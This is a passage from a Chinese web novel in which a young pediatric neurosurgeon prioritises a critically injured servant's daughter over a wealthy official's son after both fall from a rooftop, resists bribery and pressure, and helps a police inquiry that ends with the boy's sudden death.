田宏感动道:“我最喜欢这边的特产了,都没时间去买,他们真好。” 同行人:“不是说人家笨的时候了。” “好归好,确实笨!他们……” 阮乔送给他一个大白眼,“你也没聪明到哪去。” 田宏:“我怎么笨了?!” “你如果聪明,还会默默无闻?”阮乔把南栀拽到身边,“我们南栀,你看有人不认识她吗?栀栀做手术,旁边围着多少人?也就是大家都忙,不然肯定都想看全程。” 车上的医生们纷纷点头,他们能见到一个手术厉害的医生可不容易。 田宏低声咒骂,“还不是她运气好能和舒教授学习。” 南栀纠正道:“舒教授收学生,也不是完全没条件的哈,你去了也得被赶走。” 田宏:“……我没骂你!” 南栀无辜道:“我也没骂你啊。” 阮乔:“她只是在说实话。” 韦宁雨:“这叫诚实。” 田宏:“……” 他早晚会被康宁医院的人气死。 几辆大巴车分别来自不同的城市,首都派医生赶来救援后,其他城市也陆陆续续派人过来,现在一起往外走。 最开始路边还是安静的,南栀吃了晕车药,准备直接睡到临川。 车没开出去多久,南栀被陆随叫醒,“你看窗外。” 窗外马路边站着密密麻麻的人,他们热情地朝几辆车挥手。 南栀趴在窗户上往下看,“是当地的人。” 陆随道:“恩,是感谢我们吧。” 南栀想到下乡医疗队离开大桑村时,村民也是这样送他们走的。 原来她在车下,现在她在车上。 这一刻,做医生的所有辛苦都值得。 车越开越远,南栀听到他们在唱歌。 歌声整齐划一,是全国人民都会的歌,国歌。 * 南栀不在时,在小儿神外出诊的是韦初雪。 韦初雪用心钻研脑部肿瘤,成果明显。 最绝的是,她曾经做过开颅手术,和患儿及患儿家属感同身受,他们都愿意相信她。 遇到不敢开刀的,韦初雪就把自己的伤疤亮给人家看,“瞧瞧,上天赐予的发卡,恢复得很好。” 人家再怎么样也得考虑考虑。 卢含娇看小儿神外不太顺眼,她认为这可是名不正言不顺。 明明已经有神外,干嘛还非得搞个小儿神外? 盛昭云也看不顺眼,她主要是看不惯韦初雪。 盛昭云把韦初雪留下,面无表情地指责道:“你能不能去买两本笑话大全。” 韦初雪:“……恩?” “我实在受不了了!”盛昭云怒斥,“你讲的笑话未免太冷了!你知道现在是什么温度吗?你有没有考 虑过我的感受?我希望你能认真学习如何讲笑话!” 什么上天赐予的发卡,她都替韦初雪尴尬! 韦初雪很自信,“我的笑话很有趣,你可以多理解。” 于是两人因讲笑话一事“结仇”。 一直到南栀几人回来,两人还一见面就争论笑话究竟好不好笑。 气得卢含娇根本不想搭理她们。 南栀回来当天,院里为他们举办了庆祝仪式。 医生们被聚到大会议室,每个科室的人都有。 大会议室和恩德医院的礼堂比起来还是太小,很多人都只能站着。 不过大家都很开心。 平时他们最讨厌开大小会议,但这次不一样,这次康宁医院反应最快,天天被各种表扬,就连他们的家人朋友都知道这件事,康宁医院可出了大名了。 韦宁雨还非常鸡贼,找来连营市所在省的朋友到处“宣传”,在大家心目中,康宁医院俨然成为最好的医院。 尤其是连营市人,他们根本想不到康宁医院在临川市曾经是排不上号的,救援人员看着都很厉害嘛! “现在一提到临川的医院,大家第一个就想到康宁,我是真没想到,当初来康宁医院就是躺平的,没想到我还有这一天哦!” “你才多大,现在努努力,将来还能升副主任,说不定还能做主任,加油吧。” 所有人都像打了鸡血。 打鸡血最严重的是连争,连院长上台慷慨激昂地发言,还提到了韦宁雨主编的杂志期刊,表示要给刊登的医生发奖金,就加在每个月的工资里。 这下大家都不淡定了。 原来这不是饼!这是真的钱!真金白银!而且给得还不少! 儿科的人来游说时,他们还不想写!! 所有都拿起钢笔,恨不得现在就散会回去写文章。 南栀收到一笔可观的奖金。 连争的理念很明确,医院最重要的就是设备和医生,要舍得给设备花钱,也要舍得给医生花钱。 以前医院口碑不太行,资金也不多,没办法,现在口碑上来了,领导愿意批给他们更多资金,当然要把钱用在刀刃上。 像韦宁雨那样徒劳地画大饼是没用的,想要调动医生的积极性,就得给真金白银,不然说什么都没用! 南栀很佩服连争,同时她也很好奇,“连院长的脸上怎么有伤?” 盛昭云说:“这几天他每天都去市里开会嘚瑟,领导天天表扬他。” 南栀:“他因为太嘚瑟,被其他领导打了?” 盛昭云摇头,“他是因为太嘚瑟,从楼梯上摔下来了。” 南栀:“……” 南栀作为救援队代表,也要上台发言。 开会最怕一轮又一轮的发言。 南栀是空手上台的。 骨科医生感慨道:“咱们南栀就是厉害,发言稿都不用拿,全都背过了。” 南栀表达了对医院领导和同事们的感谢,然后说:“谢谢大家。” 下台。 骨科医生:“……” 哦,他也能背过,他和南栀的水平一样了! 舒映阶还给南栀打来电话,说是她在首都“火”了。 首都也在放连营市当地的新闻,有记者去拍了视频,虽然清晰度远不如后世,但还是能看出来镜头里的人是美女。 年纪小、带队领导再加一个长得好看,想不被注意都难。 南栀倒是不在意这些,人家知不知道她,她不关心,首都的人又不会为了她跑到临川看病。 舒映阶失笑,“你就只想着看病?” 南栀茫然道:“我是医生,不想着这事,还能想啥?” 舒映阶看向在一旁看书的陆嘉述。 陆嘉述自豪道:“我的眼光没错吧?” 舒映阶强调,“她是我的学生。” “?,抢人?她可是先跟我一起学习的。” “但和我学得比较久,而且我们都在小儿神外。” “那也是先跟我学的!” 王敏听得直摇头,年纪一大把,一个省心的都没有。 她凑到电话旁问南栀,“小南啊,要不要来跟着我学习?我的水平可不比她俩差,她俩比我有名气,单纯是性格突出……” 舒映阶捂住话筒。 陆嘉述:“你也走远点!” 三人重新讨论南栀的研究方向。 王敏:“做手术太累,还是开颅手术,依我看,还是来和我学习。” 陆嘉述:“不要脸。” 舒映阶说:“我很少赞同小陆,但我现在非常赞同小陆。” 三人争论不休。 南栀在电话另一头笑眯眯地听着,等她们闹够了,才问道:“舒教授,您最近感觉如何,身体还好吗?” 舒映阶说话稍微有点儿喘,她笑道:“不用担心我,我现在每天都在休息,偶尔才看看病历报告,日子过得可别提多顺心了。” 南栀说:“有变化一定要告诉我啊。” “知道,这里这么多医生,还能不知道癌症进程?小陆是你未婚夫的奶奶,你不相信我,总得相信她吧?” 陆嘉述可不管舒映阶那一套,什么默默牺牲,一个人承担所有,不存在的。 她如果生了很重的病,那一定是第一时间把想看到的人都叫过来看一遍。 看了就走也行,但知道她病重还不来看望的,对她来说肯定不是“好人”。 南栀挂断电话,有些怅惘。 刚从震中回来的两周南栀异常忙碌,这还要感谢韦宁雨。 韦宁雨可不是一般人,像连营市地震,康宁医院去主持大局的事情,他能轻易放过吗? 作为一个奸商,韦宁雨当然要把整件事都宣扬出去。 他不仅联系媒体的朋友,还让南栀写有关地震急救的科普文章。 南栀写了两份,一份去投稿,将来好能顺利升职,一份给韦宁雨。 于是关于地震的科普文章又上了各大报纸。 连营市地震,临川市虽然未被波及,但市民仍然心有余悸。 现在科普文章一出来,详细说明地震时普通人应该如何自救,大家都照着做准备,比如在家里准备急救箱。 简单的药品倒是方便准备,但吃的就不太方便了。 有的人家把窝窝头藏起来,第二天就遇到试图搬走窝窝头的鼠鼠,四目相对十分尴尬。 有的人家藏饼干,没过两天饼干就无影无踪,家里的小孩儿嘴边沾着饼干渣连连摇头,“妈妈不是我。” 实在是困难。 但报社社长很看重这篇科普文章,加上韦宁雨从中斡旋,于是编辑来和南栀商定,报纸专门给南栀留一个板,做科普用。 什么时候该就医,什么时候可以留在家里吃药,这些南栀在一本当代出版的书看到过,但这种书只有医学生会买。 报纸不同,临川市民的娱乐项目太少,电视尚未普及,家家户户都买报纸。 四月,临川市开始转暖,五月就有人偷偷穿短袖了。 临川市的别墅不多,但再小的城市也会有有钱人。 在韦家附近,就还有几栋别墅。 佣人趁着天气好给别墅大扫除,打扫过家里,又到院中剪花。 这家的主人很喜欢种花,说种花能修身养性。 在佣人看来,还是种些蔬菜最实在,花又不能吃。 不过她不会把想法说出来,她只会安心干活儿。 家里人是很反对她来有钱人家做工的,他们说新社会好不容易打倒旧阶级,她去人家家里照顾人,是自甘堕落。 但利家给的钱实在多,而且家里人很好说话。 她女儿年纪太小,家里没人能带,她把小女孩带过来,人家也同意,还给女儿好些蛋糕饼干。 想到女儿,她露出笑容,看向楼顶。 别墅做了天台,也是养花的,女儿很喜欢在天台画画。 她抬起头,脸色骤变。 两个人影直直地向下坠落,“砰”的一声巨响,二人跌落在院中。 * 南栀正看着面前的T恤发呆。 箫珵据理力争,“我买的绝对是最好看的,百货大楼的人说了,这是最新款。” 陆随道:“红条纹T恤?你是被售货员坑了吧?” 箫珵反击道:“你的深紫T恤就好看?” “比你强。” “做梦!丑死了,直男审美,我为有你这种同胞而羞愧!” …… 南栀默默退到阮乔旁边,这场景可太恐怖了。 阮乔对他们二人的争执见怪不怪。 萧医生和陆医生单独存在时,都是清风霁月的帅哥医生,只要他们聚在一起,就好像换了个人,非要把对方损一遍。 阮乔问南栀,“他们究竟有什么过节?杀父之仇?” 不是杀父之仇,不能吵这么久。 南栀高深莫测道:“恐怕是……直男综合征吧。” 不然不会买这两件黄春兰女士都不一定会穿得T恤。 南栀收起T恤,安抚道:“你们别争了,两件衣服我都留下。” 箫珵不依不饶,“你说说哪件比较好看。” 陆随:“对,你说。” 阮乔感慨道:“这真是世纪难题。” 南栀:“……奶奶喜欢,我拿回去给她穿。” 陆随&箫珵:“……” 陆随最先表态,“等你下次休班再一起去。” “又一起?你俩有什么好一起的?你能不能和我妹妹保持距离?心怀叵测。” 陆随挑眉:“用完工具人就想丢?” 箫珵冷哼:“呵,留你有何用?” 南栀和阮乔默默离开儿科办公室,把办公室的空间留给他们发挥。 阮乔道 :“我真没见过像他俩关系这么怪的。” 说是朋友吧,见面就吵,不管什么事都要争两句。 说不是朋友,又非要待在一起。 南栀说:“他俩的关系一直不好。” “追过同一个女生?对方喜欢其中一个?” 南栀也不太清楚。 箫珵说陆随身边没有过女孩。 她的印象不深,在学校时,她比较关注箫珵。 “应该是,”南栀说,“可能我哥喜欢的女生喜欢陆随吧。” “等等,”阮乔问道,“为什么不是陆医生喜欢的女生喜欢萧医生?” “不会这样呀,”南栀理所当然道,“陆随哪会有喜欢的女生,我哥才会。” 阮乔:“……,陆医生向你表白过,你还记得吗?” 南栀昂首挺胸,“我这么聪明,喜欢我很正常呀。” 阮乔:“……” 呵,可恶的学霸。 两人边说边往食堂走。 现在康宁医院的食堂改成全天开放,随时可以去打饭。 刚走到一半,南栀忽然听到有人叫她的名字,“南医生!急诊!有两个孩子坠楼了!” 第108章 第108章猝死 坠楼的孩子一男一女,男生12岁,叫利凯,女生8岁,叫吕晓慧。 二人同时坠楼,吕晓慧在下,利凯在上。 急诊已经给两人处理过。 “你看一下,吕晓慧心包积血,硬膜外血肿,脑疝,主动脉破裂……” 医生塞给南栀一堆报告。 “离开慢性硬脑膜血肿,颅骨骨折,左小臂骨折。南医生,恐怕都得动手术。” 南栀将所有检查报告都看了一遍,道:“把陆医生叫过来。” 心脏的事得陆随来处理。 神外和心外联合手术不算奇怪。 医生去叫人,南栀也在联系手术团队准备手术。 她换好衣服,去找家属签字。 有两伙人正等着,都哭得上气不接下气。 从衣着上能明显区分两伙人,一伙人西装革履,能看出他们身上的衣服都是高档货。 另一伙人大部分都是民工的打扮,还有一个系围裙的女人,女人哭得最狠。 护士小声提醒道:“我刚才问过了,有钱的那伙人是利凯的家属,利凯家里很有钱,应该也有权。没钱的那伙人是吕晓慧的家属,吕晓慧的母亲在利家干活儿,平时会把吕晓慧带过去,今天不知道怎么回事,两个人一起从三楼掉下来了。” 南栀思忖片刻,朝吕晓慧的家人走去,她向他们说明吕晓慧的情况,“吕晓慧右侧额叶顶叶硬膜外出血超过100ml,脑损伤十分严重,必须立刻接受手术,手术有风险,术中、术后可能都会出现各种问题,如果你们同意手术,就签字。” 安佳被其他人扶起来,她的腿到现在都是软的,她有很多问题要问南栀,但一开口就又变成哭声。 南栀不能一直等着她哭,便说:“如果你无法做主,找一个能做主的人来。” 扶着安佳的人说道:“她家里人不在临川,她是来干活儿的。” 南栀问:“你是?” “我是她男人的工友,”民工说,“我们这些人都是,她男人在工地上出事了,我们答应他帮忙照顾她们母女。孩子出事了,我们肯定得过来看看。” 难怪她要把孩子带到雇主家。 南栀只能再等安佳一会儿,好在她已经调整好,“医生,手术能治好我女儿吗?” “不不知,”南栀说,“即便手术成功,也要看她能不能扛过去。手术后会有水肿期,会颅内感染,被碰过的组织随时会有变化,可能还会二次开颅,你要做好心理准备。” 安佳抓起南栀的笔,哆哆嗦嗦地找签字的地方,“如果、如果不立刻手术,晓慧会没命吧?做,一定要做,医生,你要把她救活啊。” 南栀却挡住安佳的手,她拧眉道:“你再考虑考虑,做手术和后续治疗的费用很高,如果承受不了……” “那也得做,”安佳说,“我把自己卖了,也得救她。” 她毫不犹豫签了字。 南栀在心里叹口气,道:“好,现在做手术。” 她转身往手术室走。 还没进去,她就看到一个穿灰色西装的中年男子快步走进来,男人浓眉大眼,眉头紧锁,看起来十分严肃。 他高声道:“南医生是哪位?” 南栀停下。 男人朝她走过来,“南医生你好,我是利凯的父亲利振国,听说您是专门为儿童做开颅手术的?” 南栀点头。 利振国道:“您经常出现在报纸、媒体上,我记得连营市地震时,您带队第一个赶到震中。” 利振国似乎很擅长说场面话,这是南栀最不擅长的,她打断道:“利先生,我现在要去做手术,如果你……” “我就是为了手术,”利振国严肃道,“小凯的情况很糟糕,医生说需要动手术,南医生,我已经打听过了,你是舒映阶教授的学生,曾去首都儿研所跟着舒教授学习,您是临川市最好的神经外科医生,劳烦你给小凯做手术。” 阮乔在手术室内没等到南栀,走出来找她,“栀栀,都准备好了,陆医生也过来了。” 南栀点头,对利振国说道:“不好意思,吕晓慧现在随时有生命危险,利凯的情况要比吕晓慧好很多,他的手术可以交给神经外科的其他医生。” 利凯的家人围了过来,“这怎么行,得找最好的医生给小凯做手术啊!万一小凯有后遗症怎么办!” 一家人将南栀牢牢围住,南栀拧眉道:“还有两个方案,第一,带利凯转院,他的情况还能再等等,甚至还可以再观察。” “他都从楼上掉下来了,得立刻动手术!除了你,这里的其他医生我们也不放心啊!” 南栀说:“他不立刻动手术也没问题,如果一定要我来做手术,要等吕晓慧的手术结束后,吕晓慧的手术可能要五六个小时。” 利振国脸色微变,“你是让我们等着?” 南栀道:“医院和其他地方不同,病是分轻重缓急的。直白地告诉你,吕晓慧如果不立刻动手术,她会死,利凯不会,所以必须优先吕晓慧。” “可以同时做啊,”有人试图劝南栀,“南医生,你给我们小凯做手术,让其他医生给晓慧做手术,你不是说还有其他医生吗?” 南栀眉头越拧越紧,“吕晓慧的手术更复杂,而且需要和心外科配合,我和陆医生比较熟悉,这台手术必须我去做。” 利振国掏出一个信封递给南栀,“南医生通融通融,都是手术,谁做不一样?这次准备得比较仓促,我现在就去取钱,只要小凯好好的,多少钱都没问题。” 有人来软的,就有人来硬的,“对,你必须给小凯做手术,你是什么医生?小凯都那样了,还要让他等?!” 民工见南栀被围住,不满地走过来,“你们干什么?医生要去救人,你们拦着?” “呵呵,救你们家孩子和救我们家孩子能一样吗?看你的穷酸样,这孩子救了也没什么用,还不是去当民工。” “你说什么?!狗东西你再说一遍?!” 两伙人开始骂架。 “我们利家好心收留你们,吕晓慧干什么我们都不管,她做了什么?说不定就是她拉着小凯坠楼的!” “肯定是,她在下面,小凯在上面,她把小凯拉下去了。” 安佳没想到平时相处还不错的雇主居然说这话,她快被气疯了,“我家晓慧很乖!怎么会拉人!晓慧的情况更严重,就是要先给她动手术!你们别想拦着!” 双方扭打在一起。 南栀趁乱想跑,却被利振国拽住,利振国厉声道:“我已经联系你们医院的领导,你必须给小凯做手术!否则后果自负!” 话音刚落,护士匆匆跑过来,见他们竟然打起来,惊呼一声,然后找到南栀,“南医生,武院长刚刚打电话过 来,说利凯是他朋友的儿子,让我们多照顾。” 南栀脸色很差,她冷淡道:“别说是副院长的儿子,就算是省长的儿子,我也不可能优先给他做手术。利先生,我刚才解释得很清楚,如果你无法接受,可以再去找武院长。” 她甩开利振国朝手术室走去。 利振国震怒,“你敢放下我儿子不管?你试试还能不能保住你的工作!” 医院完全乱了。 打闹声和怒骂声交织,患者围观,医护人员无法下手阻拦。 护士追上南栀,担忧道:“要不把庄主任叫过来给吕晓慧做手术?利家好像有很多人官职很大,得罪不起的。” 南栀说:“他们的优先权已经够多了,看病再给优先权,活得未免太舒服。准备给吕晓慧动手术,不要让其他人打扰。” “好的。” 手术室内,陆随正行开胸手术修复血管,他需要先处理主动脉破裂稳定循环。 陆随道:“我处理好血管,你处理脑疝。” 南栀点头,绕到前方看吕晓慧的脸。 吕晓慧今年八岁,长相清秀。 她一直是昏迷状态,严重的颅脑损伤,主动脉破裂导致的心包填塞,每一项都是致命的,随时可能死亡。 南栀轻声叹气。 陆随问:“怎么了,这么久才进来。” 换作其他人,南栀还能忍忍,但陆随一问,她就忍不住抱怨道:“和吕晓慧一起坠楼的男生,利凯,他父亲想让我给他做手术。” “慢性硬脑膜血肿?他的情况哪有吕晓慧急?” 南栀慢吞吞道:“听说挺有……权。” 陆随看了南栀一眼,没说什么,继续手术。 他知道南栀惹上麻烦了。 优先权使用久了,突然碰钉子,又与儿子有关,恐怕很难应付。 时间一分一秒过去。 陆随的部分完成得很顺利,稳定循环后,南栀行开颅手术。 脑疝减压,硬脑膜外血肿清除,如果合并脑水肿会更复杂。 手术室所有人全神贯注,希望能救下吕晓慧。 手术室外同样热闹。 庄鸿赶到现场,与利振国商量,“我们现在就可以给利凯做手术,利凯……” 利振国面无表情道:“所以利凯是需要做手术的,对吗?” “……是。” “姓南的进去了,不管我儿子。” 庄鸿:“吕晓慧脑疝、硬脑膜外血肿、主动脉破裂、心包填塞,她随时会死,但利凯不会。” 利振国讥讽道:“听庄主任的意思,利凯是绝对不会死了?庄主任向我保证?要不签个字吧,口头保证我可不放心。” 庄鸿:“……” 利家人和安佳的争执也没停,两伙人虽然被分开,但还在互相骂。 “一个破保姆,带个拖油瓶来害了我家孩子,现在还抢医生,真不要脸。” “晓慧都快死了!利凯还能撑,你们还让我让?我看是你们不要脸!” 尚延和盛昭云才忙完赶过来,盛昭云见状拧起眉,“还挑上医生了?他们是什么东西?” 尚延赶紧把盛昭云拦住,“行了,火本来就挺大,你可别去浇油。” 盛昭云十分不满。 她盯着利振国看了一会儿,越看越觉得他面目可憎。 他能轻易放过南栀? 盛昭云说:“去把韦宁雨叫来。” 手术过程虽然不算顺利,吕晓慧几次情况危急,好在都被拉回来了。 手术一共持续近七个小时,南栀出来时天已经黑了。 陆随比南栀先离开手术室,他还在门口等她,他和安佳一起走过去。 南栀看了看周围,“利振国他们走了?” 陆随道:“他们去其他医院了,不过恐怕还得再闹,利振国的意思是,这手术只能你来做,如果不是你做,康宁医院要承担责任。” 南栀蹙眉,“刚刚太着急,没能留证据。” “别太担心,吕晓慧和利凯的检查报告都还在,这就是证据。” 南栀:“我不担心,就算主席来了,我也就这一句话,谁严重先给谁开刀。” 安佳感激道:“不好意思啊医生,为了我家晓慧,给你添麻烦了。” “是他们带来的麻烦,”南栀说,“晓慧的手术算是比较成功,但术后还要闯很多关,要留在ICU,什么时候能醒过来也不清楚,说句不太中听的话,一切都得看她的运气。” 安佳忍着哭意说道:“我明白,她现在还有机会等运气,多亏了南医生,能有个机会就好,我知足。” 南栀点头,她正要和陆随一起离开,就看到一个熟悉身影。 罗鸣在不远处磨磨蹭蹭的,不想走过来。 南栀看到罗鸣的一瞬间就明白了,吕晓慧和利凯坠楼,坠楼原因还得找到。 “罗警官,”南栀热情地和罗鸣打招呼,“晓慧的手术是我做的哦。” 罗鸣:“……” 实不相瞒,上次案子结束,他又被局长教育了,说他破案靠医生,劈头盖脸一顿骂。 他又不能真的找下属来背锅,只能听着。 万万没想到,他又又又一次遇到南栀。 罗鸣走过去,神色复杂,“怎么会这么巧。” “这叫主角光环,”南栀说,“吕晓慧和利凯的情况我都看了,吕晓慧先坠楼,利凯身上有抓痕,最好请法医去验伤。” 罗鸣:“……” 他真的不想再挨骂了!! 罗鸣苦哈哈地把南栀的话记在手册上,“吕晓慧什么时候能醒?” “不知道,四五天醒不过来的也有。” 甚至还有直接在昏迷中离世的,但这话不能在安佳面前说。 “明白,”罗鸣道,“安佳同志,你当时就在院子里,看到什么了?” 安佳说:“我当时在给花浇水,没太注意楼上。晓慧一直在天台做作业,我看到他们的时候,他们已经往下坠了。” 罗鸣问:“两人分别是什么体位?面对面?背对背?” “这……”安佳犹豫道,“我想不起来了,发生得太快,没注意,他们落下来时,晓慧是背对利凯的,头的方向一致。” 罗鸣拧眉。 去现场的医护人员给出了相同的答案。 但两个人坠楼,为何吕晓慧会背对利凯?还有利凯身上的抓伤,都很奇怪。 南栀:“你刚刚说……” “等等!”罗鸣道,“给我个机会,让我问!” 南栀:“……你请。” 罗鸣抓紧时间问安佳,“我是想问啊,我想问……你想问什么?” 南栀乖巧道:“ 罗警官先问。” 罗鸣:“……” 问什么呢? 陆随推了南栀一把。 南栀:“哦哦,我问也行。你是直接看到他们坠楼的吗?没有听到声音?” 安佳迷茫道:“应该有什么声音?” “尖叫声?求救声?”南栀说,“他们就这么悄无声息地掉下来了?” 南栀提起声音,安佳才意识到古怪。 是啊,她为什么完全没听到任何声音? 两个孩子不慎坠楼,居然都没有发出任何声音?天台是有围栏的,他们没有尝试求救? 若是一个人也就算了,两个人都在天台,甚至连一句聊天都没有? 罗鸣问:“利凯认识吕晓慧吗?” “认识的,他们经常在一起玩,”安佳说,“在坠楼之前,他们应该算是朋友。” 罗鸣轻轻拧眉。 他刚见过利振国,利家人的说法是,他们看安佳和吕晓慧可怜,好心给她们提供工作,还允许吕晓慧去别墅,没想到吕晓慧反过来害他们儿子。 他们称,吕晓慧经常缠着利凯一起玩儿,耽误利凯学习。 他们平时不允许利凯去天台,都是因为吕晓慧才会去。 至于吕晓慧和利凯的关系,他们其实不太希望两个孩子走得太近,但没办法,他们不好意思把话说得太死。 “挺奇怪的,”南栀道,“利凯比吕晓慧还要大几岁,力气应该更大?” 罗鸣朝南栀摇头。 这些怀疑最好别让安佳知道。 罗鸣又问了安佳几个问题,然后去看吕晓慧的状况。 吕晓慧刚做完手术,不可能醒过来,也不可能接受罗鸣的调查。 术后三天,吕晓慧一直没醒过来。 安佳日日守在ICU门口,眼见着一天比一天憔悴。 南栀劝她回家休息休息她也不肯,她担心错过吕晓慧清醒的时间。 康宁医院食堂,陆随给南栀留了位置。 儿科的人陆陆续续来食堂吃饭,盛昭云问起吕晓慧的情况。 南栀说:“现在还没有任何意识,好消息是目前还没有脑水肿和卢布感染。” “她的情况的确太严重了,如果能活下来,真是万幸中的万幸。” 阮乔抱怨道:“吕晓慧都这样了,利振国还想让南栀先给利凯做手术。利凯是需要做手术,但他的情况紧急吗?这利振国真不是东西。哦对了,他还想用红包收买南栀!” “外科医生经常会收到红包,”陆随说,“我们科室会把红包统一交给护士长,由护士长返还给病人。” 这是后世比较统一的做法。 南栀也接过红包,基本是一样的步骤。 韦宁雨惋惜道:“可惜我不会做手术。” 他曾经的梦想——做医生,收红包。 阮乔:“奸商。” 韩阅松坐在最边缘,一声不吭地吃饭。 韦宁雨看到韩阅松,感慨道:“韩兄是真厉害,能做到一整天都不说一句话。” 南栀也看过去。 韩阅松的性格实在太内向,内向到不适合做医生。 或者说应该不适合做任何工作。 不过韩阅松这样子,南栀倒是觉得挺眼熟,她以前好像也见过类似性格的人,只不过人家没有韩阅松严重。 晚上,南栀和陆随都不加班,两人提前说好要去“约会”。 阮乔对他们的约会已经不抱任何希望。 她对去图书馆的约会深恶痛绝,可恶的学霸! 而且南栀和陆随像是在过家家,一点儿都不像谈恋爱。 如果是南栀一个人过家家就算了,这陆医生好歹是个男人,男人不都该色胆包天吗?他的观念里,谈恋爱竟然也是过家家! 南栀严肃申明,“这回不去图书馆,是真正的约会。” 阮乔来了兴致,“你们要去看电影?还是去浪漫餐厅吃晚餐?” 南栀说:“我们要去福利院,雯雯说有几个孩子生病了。” 阮乔:“……” 合着是去加班。 阮乔恨铁不成钢,“按照你俩的速度,我什么时候才能喝上你们的喜酒?” 南栀道:“喝酒?喝酒简单呀,我给你买……不,让陆随给你买。” 康宁医院现在和福利院有合作,会定期来给孩子们做检查。 南栀已经去过两次福利院,福利院多大年纪的孩子都有,有些刚出生的婴儿,那边不让抱,说是如果抱了,就需要一直抱着,人手不够。 被抛弃的孩子们还是很可怜的。 南栀和陆随给他们带了医疗物资,还给几个身体不适的孩子做了检查。 都是感冒发烧,没什么大问题。 离开福利院已是晚上八点钟,街上的人不多。 陆随开车送南栀回家,南栀盯着陆随看了好一会儿。 陆随:“?” 南栀说:“阮乔嫌我们的速度慢,我觉得还好呀。” 陆随:“我也觉得还好。” “但是我很好奇,”南栀问,“进展快的该怎么快?” 南栀碰了碰陆随的腰。 去连营市时,南栀发现她已经不抗拒和陆随接触。 他们当时睡在当地村民家里,都是火炕,她又能安心地和陆随躺在一个炕上了。 当时他们不是故意躺在一起的,是男女人数问题,刚好需要有一男一女挨着,大家一致推荐南栀和陆随。 不是因为南栀和陆随有婚约,而是大家相信,就算他们在没人的地方躺在一起,可能也不会做什么。 确实是不会,不是不想。 陆随试图躲开,“你到底……” 南栀又去玩儿他的扣子。 陆随:“……” 他紧急把车停在路边,“南栀?” “他们教我的,”南栀说,“说是能加快进度。” 陆随:“……他们教你做什么?” “就是没事碰碰你啊,碰手不行,要碰平时碰不到的地方。” 陆随:“……” 这帮人…… 陆随问:“碰到会怎么样?” 南栀摊手,她也想知道。 她顺手又碰了碰陆随的脖子,手指滑到他的衣领,顺手把扣子解开。 陆随:“……” 他好像知道了。 陆随握住南栀的手阻止她,“以后别听他们乱说话。” “为什么?” 陆随:“……反正这不行。” 南栀惊喜道:“你知道是什么意思了?快告诉我,我得学学。” 陆随:“……” 这群人是真把他们当成小孩儿欺负。 但他只是不太看乱七八糟的东西,不是没有生物常识! 陆随脸颊滚烫,试图解释,“就是,这是结婚之后的事。” 南栀想了想,知道是什么意思,但没理解,“只是解扣子,又不脱衣服,怎么会有关呢?” 陆随绞尽脑汁道:“或许,恩,这是在此之前要做的事?” 他都不知道自己在说什么虎狼之词,只是南栀碰他时,他确实容易乱想。 南栀“噢”了一声,“怎么比医学书都深奥,改天找了解的人学学好了。” 陆随:“……,不行!” 南栀:“你又不会。” 陆随:“!!” 这和说他不行是一个道理。 陆随:“……有本事你就结婚!” “我无所谓啊,”南栀顺手捏了捏陆随的脸,“我适应挺好的,倒是你……” 南栀摸向陆随的额头,“你又发烧了?” 好不容易消停两个月,又开始生病? 陆随:“……” 南栀:“你真的好虚啊。” 陆随:“……” 有本事结婚啊!! 陆随把南栀送到家里,他原本想接着走,却发现南家有点儿乱。 陆随和南栀一起走进院子。 黄春兰正在给南明杰包扎头部。 南栀连忙走过去,“怎么了?” “今天倒霉,”南明杰说,“在胡同里被人打了一下,唉,估计是哪个酒鬼。” 南栀看向门外,“是在家附近。” “是啊,”南明杰安慰道,“其实不是很疼,不用担心。” 南栀说:“这附近的邻居我们都认识,打你的人,你不认识?” 这一点南明杰也觉得奇怪,他挨打之后其实还去追了,追的过程中看到对方的脸,是个陌生的年轻人,他的确不认识。 南明杰追他时,他似乎很害怕。 南栀问:“你最近得罪人了吗?” “没有啊,我能得罪谁?” 奶奶说:“你爸这窝囊废性格,他得罪人?人家不把他当傻子整就不错了。” 南明杰:“……” 他哪有这么差劲? 黄春兰和南栀一起点头,“有道理。” 南明杰:“……” 他哪有这么差劲! 陆随碰了碰南栀。 南栀说:“我好像得罪人了,利振国,你们留意周围有没有利家人,有的话告诉我。” 罗鸣还给南栀带过利凯的消息,利凯是去恩德医院做的手术,手术过程顺利,恢复得比吕晓慧好得多。 利振国不报复南栀,反倒对她的家人小打小闹? 南栀不敢肯定,但也不敢让家里人冒险。 “最近天黑以后不要出门了,尽量避免独处。” 黄春兰说:“做医生治病救人,竟然还要担心被报复,唉,什么世道。” 奶奶说:“要我看,我们就直接打回去,有的人不挨打不长记性。我们就直接拿砍刀,然后哐哐哐砍他们……” 黄春兰挡住奶奶,试图在陆随面前维持形象,“小陆啊,别听奶奶的,她开玩笑呢。” 奶奶露出头,“我不是……” 她的头被黄春兰按了回去。 陆随笑道:“奶奶说得对,被欺负了确实不能忍,但 这个利振国不是普通人,还是当心些比较好。或者你们可以搬到我家住?这边人太多太杂。” 别说南栀和陆随还没结婚,就算结婚了,也没有娘家人全都住进去的道理,让人家知道,该戳南栀的脊梁骨了。 “没事,我们正打算搬家,搬到医院附近。” 南栀问:“咱俩有这么多钱吗?” 黄春兰笑道:“你的工资和外快一分没动,平时只用你爸的工资,我的稿费也陆陆续续到了。” 黄春兰女士写的文章很受各大报社、杂志社的欢迎,已经开始长期合作,稿费还真不少。 南栀:“!!” 原来她家从贫困到小康了! * 吕晓慧五天后才醒过来,醒来后的第三天进入水肿期,精神十分差。 这只是第一步,吕晓慧还要闯很多关。 罗鸣常识询问她当时发生何事,吕晓慧却没有任何答复,而且好像也不太认识安佳。 罗鸣紧急找到南栀,对于记忆方面的问题,南栀只能说还要等时间恢复。 脑子里的事,很多都是说不清的。 就在吕晓慧水肿后第二天,罗鸣又来到医院,带来一个消息,“出事了。” 南栀:“谁?” “利凯出事了,”罗鸣沉痛道,“我们都没想到会这样。” 南栀问:“他有术后并发症?” 罗鸣摇头,“是心脏的问题,猝死了。” 南栀和安佳同时站了起来。 安佳:“他死了?!” 利凯已经接受过调查,他说坠楼原因是吕晓慧站在围栏边玩耍,不慎跌出栏杆,他试图施救,没想到被带下去。 警方没有认可利凯的说法,如果他是施救,安佳不可能没听到声音,而且吕晓慧也不该是背后对着利凯。 但利家人很认同,尤其是利振国,他坚称儿子品行优秀,见义勇为很正常。 昨天利家人还来医院闹,让安佳给出赔偿。 当时吕晓慧情况危急,安佳根本没心思和他们吵,他们却不依不饶。 两家人的梁子算是结下了。 安佳现在恨利家人,却没想过利凯会死。 “心源性猝死?”南栀说,“青少年很少出现这种问题,他有遗传病?” 